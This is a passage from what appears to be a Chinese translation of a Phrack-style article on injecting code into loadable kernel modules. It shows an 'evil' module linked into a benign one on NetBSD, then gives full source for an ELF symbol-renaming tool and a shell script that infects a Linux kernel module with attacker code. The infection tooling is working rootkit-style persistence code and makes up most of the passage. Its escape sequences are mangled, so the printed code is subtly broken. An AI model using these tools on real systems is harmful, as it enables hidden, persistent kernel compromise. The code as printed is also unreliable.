LKM 注射 三

下面这部分是要插入的代码:

$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int    gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
    switch(cmd) {
    case LKM_E_LOAD:
        printf("evil: in place/n");
        break;
    case LKM_E_UNLOAD:
        printf("evil: i'll be back!/n");
        break;
    case LKM_E_STAT:
        printf("evil: report in progress/n");
        break;
    default:
        printf("edit: unknown command/n");
        break;
    }

    return gentil_lkmentry(lkmt, cmd, ver);
}

  分别编译了 gentil 和 evil 之后,我们把它们链接到一起:

$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat
Type    Id   Offset  Loadaddr  Size  Info      Rev  Module  Name
DEV     0  -1/108  d3ed3000  0004  d3ed3440   1  mmr
DEV     1  -1/180  d3fa6000  03e0  d4090100   1  nvidia
MISC    2      0   e45b9000  0004  e45b9254  1  gentil

# modunload -n gentil

# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!

  好了,一切如此完美 :)

------[ 5.2.3 - OpenBSD

  OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。

--[ 6 - 结论

  这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处理就可以实现代码的插入,的确很有趣。

--[ 8 - 参考资料

--[ 9 - 源代码

----[ 9.1 - ElfStrChange

/*
* elfstrchange.c by truff <truff@projet7.org>
* Change the value of a symbol name in the .strtab section
*
* Usage: elfstrchange elf_object sym_name sym_name_replaced
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len);

int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section/n");
    exit (EXIT_FAILURE);
  }

  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section/n");
    exit (EXIT_FAILURE);
  }

  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found/n", argv[2]);
    exit (EXIT_FAILURE);
  }

  printf ("[+] Symbol %s located at 0x%x/n", argv[2], symoffset);

  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");

  printf ("[+] .strtab entry overwriten with %s/n", argv[3]);

  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;

  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
               SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");

    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name,
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }

  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
    Elf32_Shdr *shdr)
{
  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
             SEEK_SET) == -1)
    FATAL ("fseek");

  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}


int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
               SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");

    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                       name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == '/0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
    Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == '/0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return (strtable->sh_offset + sym_name);
}
/* EOF */



----] 9.2 Lkminject

#!/bin/sh
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#      _blank> http://www.projet7.org                  - Security Researchs -
#############################################################


sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm
# if needed.
make

ld -r $1 $(basename $2 .c).o -o evil.o

.../elfstrchange evil.o init_module dumm_module
.../elfstrchange evil.o evil_module init_module
.../elfstrchange evil.o cleanup_module dummcle_module
.../elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

|=[ EOF ]=-----------------------------------=|
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值